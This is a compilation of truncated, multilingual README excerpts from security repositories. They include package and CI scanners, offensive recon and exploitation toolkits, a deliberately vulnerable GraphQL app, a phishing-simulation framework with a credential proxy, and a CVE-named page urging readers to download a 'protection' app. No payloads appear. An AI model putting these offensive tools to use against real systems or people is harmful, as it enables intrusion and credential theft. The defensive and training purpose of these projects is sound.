pkgxray

pkgxray — npmパッケージ、MCPサーバー、AIエージェント向けのインストール前セキュリティ npmパッケージまたはMCPサーバーをインストールまたは接続する前に 検査し、決定的でエビデンスに裏付けられたSAFE、REVIEW、BLOCKの判定を取得します。ローカルで動作する依存関係ゼロの静的解析 — 通常のスキャンではパッケージコードを実行しません。 ウェブサイト · ドキュメント · キャリブレーション · バグ報告 実際の実行例: guard が [email protected] をクリアし、その後、2024年の @solana/web3.js...

bomber

bomber is an application that scans SBOMs for security vulnerabilities. Overview So you've asked a vendor for an Software Bill of Materials SBOM for one of their closed source products, and they provided one to you in a JSON file... now what? The first thing you're going to want to do is see if a...

vet

在恶意包、漏洞和有风险的 CI 工作流进入生产环境之前发现它们。 安装 • 文档 • 命令 • 策略 • Discord !NOTE 此分支是 vet v2，处于 alpha 阶段。vet v1 位于 main， 仍是最新发布版本。v2.0.0 发布说明将每个 v1 命令和标志映射到 v2。 为什么选择 vet 你的依赖项、GitHub Actions 工作流和 AI 代理配置运行着你并未编写的代码。vet 能发现其中的风险。 恶意包。 vet 会根据 SafeDep Threat Intel 检查每个包。Threat Intel 会在注册表发布新包版本时对其进行分析。 已知漏洞...

zizmor

🌈 zizmor zizmor은 CI/CD 시스템을 위한 정적 분석 도구입니다. GitHub Actions, Dependabot, pre-commit을 비롯한 일반적인 CI/CD 구성에서 보안 문제를 찾아내고 수정할 수 있습니다. zizmor가 찾아내는 항목 중 일부는 다음과 같습니다: 공격자가 제어하는 코드 실행으로 이어지는 템플릿 인젝션 취약점 우발적인 자격 증명 지속 및 유출 러너에 부여된 과도한 권한 범위 및 자격 증명 사칭 커밋 및 혼동하기 쉬운 git 참조 ...그리고 훨씬 더 많은 것들! 설치 단계는 물론 빠른 시작...

pown

Pown Pown.js is a security testing and exploitation toolkit built on top of Node.js and NPM. Unlike traditional security tools, notably Metasploits, Pown.js considers frameworks to be an anti-pattern. Therefore, each feature in Pown is in fact a standalone NPM module allowing greater degree of...

pown

Pown Pown.js는 Node.js와 NPM 기반으로 구축된 보안 테스팅 및 익스플로잇 도구 키트입니다. 기존의 보안 도구, 특히 Metasploit과 달리 Pown.js는 프레임워크를 안티 패턴으로 간주합니다. 따라서 Pown의 각 기능은 사실상 독립적인 NPM 모듈로, 더 큰 재사용성과 유연성을 제공합니다. 새로운 기능을 만드는 것은 새로운 모듈을 NPM에 게시하는 문제일 뿐입니다. 이 모듈은 CLI를 시작하는 간단한 방법을 제공합니다. 결과적으로 pown을 사용하여 자신만의 도구를 쉽게 구축하거나 합성을 통해 새로운...

Damn-Vulnerable-GraphQL-Application

취약한 GraphQL 애플리케이션 취약한 GraphQL 애플리케이션Damn Vulnerable GraphQL Application은 Facebook의 GraphQL 기술을 의도적으로 취약하게 구현한 것으로, GraphQL 보안을 배우고 연습할 수 있도록 설계되었습니다. 목차 DVGA 소개 작동 모드 시나리오 사전 요구 사항 설치 설치 - Docker 설치 - Docker Registry 설치 - 서버 스크린샷 유지 관리자 기여자 언급 면책 조항 라이선스 DVGA 소개 취약한 GraphQLDamn Vulnerable GraphQ...

awesome-security

Awesome Security 보안에 관한 멋진 소프트웨어, 라이브러리, 문서, 책, 리소스 및 유용한 정보의 모음입니다. awesome-php와 awesome-python에서 영감을 받았습니다. 모든 기여자 여러분께 감사드립니다. 여러분 덕분에 가능했습니다! 목표는 잘 알려진 리소스들을 분류별로 커뮤니티 기반으로 수집하는 것입니다. Awesome Security 네트워크 스캐닝 / 침투 테스트 모니터링 / 로깅 IDS / IPS / 호스트 IDS / 호스트 IPS 허니팟 / 허니넷 전체 패킷 캡처 / 포렌식 스니퍼 보안 정보...

CVE-2025-68921

🎮 CVE-2025-68921 - 今日からあなたのゲーミングラップトップを守ろう 🚀 はじめに CVE-2025-68921 へようこそ。このアプリケーションは、数百万のデバイスに影響を与える脆弱性からゲーミングラップトップを保護します。以下の手順に従ってソフトウェアをダウンロードし、実行してください。 🔗 今すぐダウンロード 💾 システム要件 CVE-2025-68921 をスムーズに実行するには、ゲーミングラップトップが以下の要件を満たしていることを確認してください。 オペレーティングシステム: Windows 10 以降 プロセッサ: Intel または AMD、2 GHz 以...

ios-malicious-bithunter

iOS Malicious Bit Hunter Abstract iOS Malicious Bit Hunter is a malicious plug-in detection engine for iOS applications. It can analyze the head of the macho file of the injected dylib dynamic library based on runtime, and can perform behavior analysis through interface input characteristics to...

Reel

Reel 設定可能なワークフロー、キャンペーン管理、オプションの認証情報プロキシを備えた、フィッシングシミュレーションおよびセキュリティ意識向上フレームワーク。 クイックスタート（OPS 用途） 1. リポジトリをクローンして、その中に cd します。 2. ./deploy.sh を実行します。Ubuntu を使用している前提で、前提条件を自動設定します。 3. ./start.sh --preload-ml を実行します。これによりサーバーが起動し、使用する ML モデルが事前ロードされます。 Admin UI は http://localhost:8000、フィッシングサーバーは...

codehaus-plexus__plexus-archiver_CVE-2023-37460_4-7-1

Plexus-archiver 현재 마스터 브랜치는 https://github.com/codehaus-plexus/plexus-archiver 에 있습니다. 중요 힌트 snyk.io 보안 팀의 힌트를 바탕으로 보안 문제가 발견되었습니다. 또한 이 가능한 보안 문제를 방지하기 위한 패치가 제공되었으며, 이 패치는 Release 3.6.0에 통합되었습니다. 릴리스 노트 다양한 릴리스에 대한 자세한 내용은 Release Notes에서 확인할 수 있습니다. Release 4.2.5. Release 4.2.4. Release 4.2.3...

security-research

セキュリティリサーチ このプロジェクトは、Google で実施され、Google が所有していないコードに影響を与えるリサーチに関連する、セキュリティアドバイザリとそれに付随する概念実証（Proof-of-Concept）をホストしています。 私たちは、脆弱性情報の開示には相互の協力が必要であると考えています。ベンダーも研究者も、責任を持って行動しなければなりません。これが、Google が90日間の開示期限を守る理由です。私たちは脆弱性をベンダーに直ちに通知し、90日後、またはベンダーが修正をリリースした場合はそれより早く、その詳細を防御コミュニティに公開します。...

sharingan

Sharingan Sharingan is a recon multitool for offensive security / bug bounty WIP, will I ever finish? Who knows Cloning for development Outside of your gopath git clone https://github.com/leobeosab/sharingan Installing go get github.com/leobeosab/sharingan/cmd/sharingancli Dependencies NMap Go...

sharingan

Sharingan Sharingan은 공격적 보안 / 버그 바운티를 위한 정찰 멀티툴입니다. 작업 중입니다, 언제 끝날까요? 누가 알겠어요. 개발을 위한 클론 GOPATH 외부에서 git clone https://github.com/leobeosab/sharingan 설치 go get github.com/leobeosab/sharingan/cmd/sharingancli 의존성 NMap Go 사용법 참고 플래그의 순서가 중요합니다. sharingancli globalflags command commandflags 형식이어야 합니...

scant3r

ScanT3r 스크립팅 시간을 절약하세요 ⚠️ 이 프로젝트는 더 이상 지원되지 않습니다 scant3r 대신 Lotus 프로젝트https://github.com/rusty-sec/lotus/를 사용해야 합니다. scant3r는 많은 오류와 함께 개발되었으며, 이를 수정하는 데 더 많은 시간이 걸리고 scant3r는 Lotus에 비해 매우 느리기 때문입니다. 이게 뭔가요? 이것은 제가 스크립팅 시간을 절약하기 위해 만든 모듈 기반 웹 자동화 도구입니다. 모든 웹 펜테스터가 자동화 스크립트에서 필요로 하는 몇 가지 유틸리티를 제공하여...

ParamPamPam

ParamPamPam 이 도구는 GET 및 POST 파라미터를 무차별 대입 방식으로 발견합니다. 설치 Docker 사용 Docker를 설치하세요 git clone https://github.com/Bo0oM/ParamPamPam.git cd ParamPamPam docker build -t parampp . echo -e '!'"/bin/bash\ndocker run -ti --rm parampp $@" /usr/local/bin/parampp parampp -u "https://vk.com/login" 게으른 경우...

electronegativity

Electronegativity ⚠️ このプロジェクトはもはや積極的にメンテナンスされていません ⚠️ Electronegativityとは？ Electronegativity は、Electronベースのアプリケーションにおける設定ミスやセキュリティアンチパターンを特定するためのツールです。 このツールは、ASTおよびDOM解析を活用してセキュリティ関連の設定をチェックします。これは、ホワイトペーパー「Electron Security Checklist - A Guide for Developers and Auditors」で説明されています。...

electronegativity

Electronegativity ⚠️ We're no longer actively maintaining this project ⚠️ What's Electronegativity? Electronegativity is a tool to identify misconfigurations and security anti-patterns in Electron-based applications. It leverages AST and DOM parsing to look for security-relevant configurations, as...

WPScan

==라이선스== WPScan - WordPress 보안 스캐너 저작권 C, ClsHack.com 이 프로그램은 자유 소프트웨어입니다. Free Software Foundation에서 발표한 GNU General Public License 버전 3 또는 선택에 따라 이후 버전의 조건에 따라 재배포 및/또는 수정할 수 있습니다. 이 프로그램은 유용하게 사용될 것이라는 희망으로 배포되지만, 어떠한 보증도 제공되지 않습니다. 상품성 또는 특정 목적에의 적합성에 대한 묵시적 보증조차도 없습니다. 자세한 내용은 GNU General...